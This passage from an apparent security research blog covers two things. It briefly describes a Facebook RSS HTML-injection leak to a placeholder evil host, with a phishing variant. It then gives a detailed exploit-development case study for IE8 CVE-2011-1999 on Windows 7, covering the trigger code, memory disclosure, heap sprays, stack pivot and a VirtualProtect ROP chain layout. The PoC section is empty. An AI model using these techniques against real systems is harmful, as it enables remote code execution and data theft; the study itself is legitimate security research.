
2. Attacker adds/invites a victim to the group

3. The group name (unsanitized!) automatically ends up in the notification feed of the victim

4. Victim uses Internet Explorer and clicks on her 'RSS' link in the http://www.facebook.com/notifications

5. The html code in the group title is rendered and the victim's browser makes a request to http://www.someevilwebsite.com/test.php

with the victim's RSS feed URL in the http header field.

6. Attacker listens to all http traffic to www.someevilwebsite.com and thus receives the victim's RSS feed URL from the http header.

7. When the attacker visits this URL he gets all of the victim's Facebook notifications.

A less technical, but perhaps more practical way to exploit this vulnerability would be to use it in social engineering/phishing attacks. For example, the attacker might inject html code in the victim's RSS feed that would make it appear like the user received some other (injected) notification which makes it appear that it's important for the victim to click on a link in that notification. When the victim clicks it he/she might end up on the attacker-controlled fake Facebook login page.

Note that group name was just one example of injecting code into victim's RSS feed, there were probably other attack scenarios for the same vulnerability.

Tuesday, February 28, 2012

Reliable Windows 7 Exploitation: A Case Study

Those of you that follow my blog know that I am not accustomed to publishing the exploit code for critical vulnerabilities. I'm only publishing this article because a long time has passed since the vulnerability used here was patched and because I believe that the techniques used in this case study (windows 7 exploitation without relying on non-ASLR module and without using a secondary vulnerability for memory disclosure) are sufficiently different to be of interest to the security community. It is my hope and intention that the code given below will be used for educational purposes only.

Introduction

Reliable exploitation of browser vulnerabilities has been made increasingly difficult by introducing protection mechanisms such as DEP and ASLR. While it can be shown that ASLR can easily be defeated without DEP (for example by heap spraying) and DEP can easily be defeated without ASLR (for example by return-oriented programming), the combination of the two makes reliable exploitation much harder. This is probably the reason why there hasn't been much work published about the exploiting vulnerabilities on Windows 7.

Two most common techniques for exploiting vulnerabilities on Windows 7 are:
1. Using a secondary vulnerability to perform memory disclosure and reveal the address of an executable module in memory prior to using the "main" vulnerability to execute the payload. For example, Peter Vreugdenhil used this techniques in his Internet Explorer 8 on Windows 7 exploit in the Pwn2Own 2010 contest [1].
2. Making the application load a non-ASLR-enabled module in the memory, for example msvcr71.dll [2].

In this case study, I'll describe the development of Internet Explorer 8 exploit on Windows 7 without relying on the techniques above. The main idea of my exploit is using the same vulnerability to achieve both memory disclosure and code execution.
While, at first, it may seem that the techniques described below can only be used with a select few vulnerabilities, in my experience, many browser vulnerabilities can be used to achieve both memory disclosure and code execution using the techniques described bwlow. Just to name a few vulnerabilities I discovered, besides CVE-2011-1999 which will be used as an example in this case study, CVE-2010-1883 and CVE-2008-3475 (and probably others) could also be used to accomplish both memory disclosure and code execution. In fact, the most critical condition a vulnerability must satisfy in order to be applicable is that the attacker must be able to trigger it multiple times without crashing the vulnerable application. Most of the vulnerabilities that satisfy this condition can be used both for memory disclosure and for code execution, at least in the web browser context.


The vulnerability

The vulnerability that I'm going to use in this case study affected Internet Explorer 8. It has been disclosed as CVE-2011-1999 (MS11-081) and patched in October 2011.

The bug that causes the vulnerability is in incorrectly validating an integer parameter passed to the options.add method of a Select element object. This method is used to add an Option element to the Select element and it accepts two parameters:
1. An Option object to be added
2. An integer, specifying the index of the new Option object

Among other things, the options.add method maintains an array of pointers to the Option objects inside a corresponding Select object. This array is called the option cache.
Under certain conditions, the options.add method incorrectly validates the second parameter. If it is a negative number, instead of causing an exception or changing it to zero, the method will attempt to add a pointer to the Option object (passed at the first parameter) in the option cache at a negative index (negative offset from the beginning of the option cache).
This can be demonstrated using the following sequence of JavaScript instructions:

var s = document.createElement("select");
var o = document.createElement("option");
s.options.add(o,-0x20000000);


This causes the browser to crash as shown in the following image


Basically, Internet Explorer attempts to add a pointer to the Option ('o' in the code above) at address

[address of option cache]+(-0x20000000)*4


In assembly, that corresponds to the instruction

MOV DWORD PTR DS:[EAX+EDI*4],ECX


where EAX is a pointer to the option cache, ECX is the pointer to the Option object, and EDI is the index (-0x20000000 aka 0xE0000000).
The call stack at the moment of crash looks like

CImplPtrAry::Insert(int, void *)
CSelectElement::AddOptionHelper(class COptionElement *, long, bool)
CSelectElement::ie8_add(IHTMLOptionElement *,tagVARIANT *)


From all of the above, it follows that, by manipulating the second parameter of the options.add method, we can overwrite an arbitrary (dword-aligned) memory location with an address of an Option object.

But what address should we overwrite in light of ASLR and other browser protection mechanisms? This will be discussed in the following sections.

Memory disclosure

In order to defeat ASLR we basically need the ability to read the memory of the current process in order to determine the address of some executable module. However, memory disclosure won't be used only to defeat ASLR, but also to increase the reliability of the exploit as we won't have to make many guesses regarding the memory layout. The technique I used to leverage this vulnerability into memory disclosure has been described in a separate blog post. You can read about it in detail here. In fact, this blog post should be considered the first part of this case study. The main idea of using this vulnerability for memory disclosure is to use it to overwrite a DWORD that contains the length of some JavaScript string. After this, we can use the substr method of this string to make memory read queries.

One important thing to note is that this memory disclosure technique will allow us to read a large portion of the memory after some heap spray, so we need to make sure to "plug" any memory holes before this heap spray, so that anything important to our exploit will be allocated after the heap spray.

Exploiting the vulnerability

In order to achieve reliable exploitation on Windows 7 I used the technique that will be described below. This technique relies on two heap sprays:

1. The first heap spray has two purposes. Its first purpose is to enable the memory disclosure as described in the previous Section. Its second purpose is to hold a NOP slide followed by a shelcode. Note that, in order to defeat DEP, before calling the shellcode, we'll need to make a memory block holding it executable.

2. The second heap spray will act as a fake stack after we get the control of EIP. Basically, we are going to make stack pointer point somewhere in this heap spray. We need to obtain the control of the stack in order to use return-oriented programming and defeat DEP.

Note that, if we were making the exploit for Windows XP (or some other system without ASLR), a single heap spray would be sufficient. However, in our case we won't know the values of the return addresses we need to put on the stack until after we make the first heap spray.

The exploit steps are roughly given below.

1. Do the first heap spray
2. Allocate some Option and Select objects. It is important that these objects are allocated after the first heap spray in order for them to become readable
3. Enable memory disclosure by overwriting length of a string in the first spray (see the previous Section for details)
4. Use memory disclosure to read a vtable pointer of some option object. The base address of mshtml.dll can be computed by subtracting a constant offset from the vtable pointer.
5. Do the second heap spray (details will be given later)
6. Create an Option object. Let's call it A
7. Find an address of some other Option object (let's call it B) in memory and overwrite its CTreeNode pointer with the address of A. The address of B can be determined via memory disclosure (option cache is a good place to look).
8. Delete A
9. Allocate a string of the same size as A. Hopefully, it will be allocated at the same address where A used to be.
10. Read the memory where A used to be to determine if we successfully wrote our string there. If not, go back to step 6. Note that at this time, CTreeNode pointer of object B points to a string whose content we control.
11. Do something with B that would access its CTreeNode pointer and eventually attempt to call a virtual method of some object in the CTreeNode hierarchy. (In the exploit, I used B.parentNode.Click() to accomplish this).

Now lets see what happens if we fill a string in step 7 with a pattern

 0x41 0x41 0x41 0x41 ...


This is shown in the following image.


We see that we control EAX and we came to the following sequence of instructions

3D093A73   8078 08 52       CMP BYTE PTR DS:[EAX+8],52
...
3D093A84 8B00 MOV EAX,DWORD PTR DS:[EAX]
...
3D093A88 8BF0 MOV ESI,EAX
...
3D093A8E 8B06 MOV EAX,DWORD PTR DS:[ESI]
...
3D093A91 FF90 DC000000 CALL DWORD PTR DS:[EAX+DC]


As we control EAX, we will make it point somewhere in the second heap spray, where we can predict the content. We'll make the second heap spray organized in patterns of size 0x1000, so because we know that each memory block begins at address divisible by 0x1000, some address in the form k*0x1000+0x24 is likely to hold the beginning of the pattern (extra 0x24 is for memory block header and string length). So, for example, if EIP is 1C1C0024 it is likely that it will point to the beginning of a pattern in the second heap spray.

first, we need to resolve the following line

CMP BYTE PTR DS:[EAX+8],52


Here, we just need to make sure that EAX+8 is readable and the content there is not 52. Pretty simple, just make sure that pattern+8 is not 52.

Next, we come to

MOV EAX,DWORD PTR DS:[EAX]


Here, we'll just make sure [EAX] points back into the pattern
Specifically, we'll make [EAX] point to pattern_address+0x10, so EAX is again controlled after this instruction

Now, EAX points to pattern_address+0x10

Next, we come to

MOV ESI,EAX
MOV EAX,DWORD PTR DS:[ESI]


Again, we'll just make it so that, after this is executed, EAX again points somewhere in the pattern.
Specifically, we'll make pattern_address+0x10 point to pattern_address+0x14

Now, EAX points to pattern_address+0x14, and we arrived at the

CALL DWORD PTR DS:[EAX+DC]



Which obviously gives us the control over EIP.

Now, if DEP wasn't enabled, we could just make the jump for our nop slide followed by a shellcode (in the first heap spray). However, as DEP is enabled in Internet Explorer 8 we need to first gain control over the stack and use return-oriented programming to make shellcode executable.

In order to gain control of the stack we'll make [EAX+DC] point to the following sequence of instructions:


XCHG EAX,ESP
RETN



Such sequence is easily located in most modules because both instructions are only a single byte in size (and that means that there will be plenty such values, even if the author of the module didn't intend it). In light of the ASLR, the address of this sequence (and any other sequence of instructions) has to be determined dynamically as [base of mshtml.dll]+[offset]. Remember that we computed the base address of mshtml.dll in step 4 of the exploit.

Now we control the stack and also the next function we'll return into.
What we need to do now is make shellcode executable. In order to do so we'll call VirtualProtect. But we don't know the address of VirtualProtect as VirtualProtect is not a part of mshtml.dll. However, mshtml.dll does contain an address of VirtualProtect in its import section.
So, instead of a direct return into VirtualProtect, we'll first return into


POP EAX
RETN



Here, we'll put the address which contains the address of VirtualProtect into EAX (remember that we control the stack).
This code will then return into


CALL DWORD PTR DS:[EAX]
RETN



so VirtualProtect gets called here. The stack has to be constructed so that, at this point, arguments of VirtualProtect are correctly aligned.
Those are
1) Beginning address of the memory block (we'll choose some block in the first heap spray that we'll return into later)
2) Block size (0x100000)
3) New set of permissions (0x40 for PAGE_EXECUTE_READWRITE)
4) Address where old set of permissions will be stored (some address in the first heap spray we don't need)

Stack also has to be constructed so that after the call to VirtualProtect, we return into a nop slide that we just made executable.

So, finally the pattern used in the second heap spray for will look like


[pattern_address+0x10][0xAA]*12[pattern_address+0x14][address of POP EAX;RETN][address of address of VirtualProtect][address of CALL [EAX];RETN][address of block in the 1st heap spray][block size][0x40][some address in the 1st heap spray][address of a nop slide on the 1st heap spray][0xAA]*196[address of XCHG EAX,ESP; RETN]



Using this pattern we can make shellcode executable and return into it as well.

One additional thing to note when developing Windows 7 exploits is that many shellcode won't work on Windows 7 and cause a crash instead. For my exploit I used SkyLined's Windows 7 compatible 'calc' shellcode, that can be found at http://code.google.com/p/w32-exec-calc-shellcode/

PoC code


References

[1] Peter Vreugdenhil, Pwn2Own 2010 Windows 7 Internet Explorer 8 exploit, http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf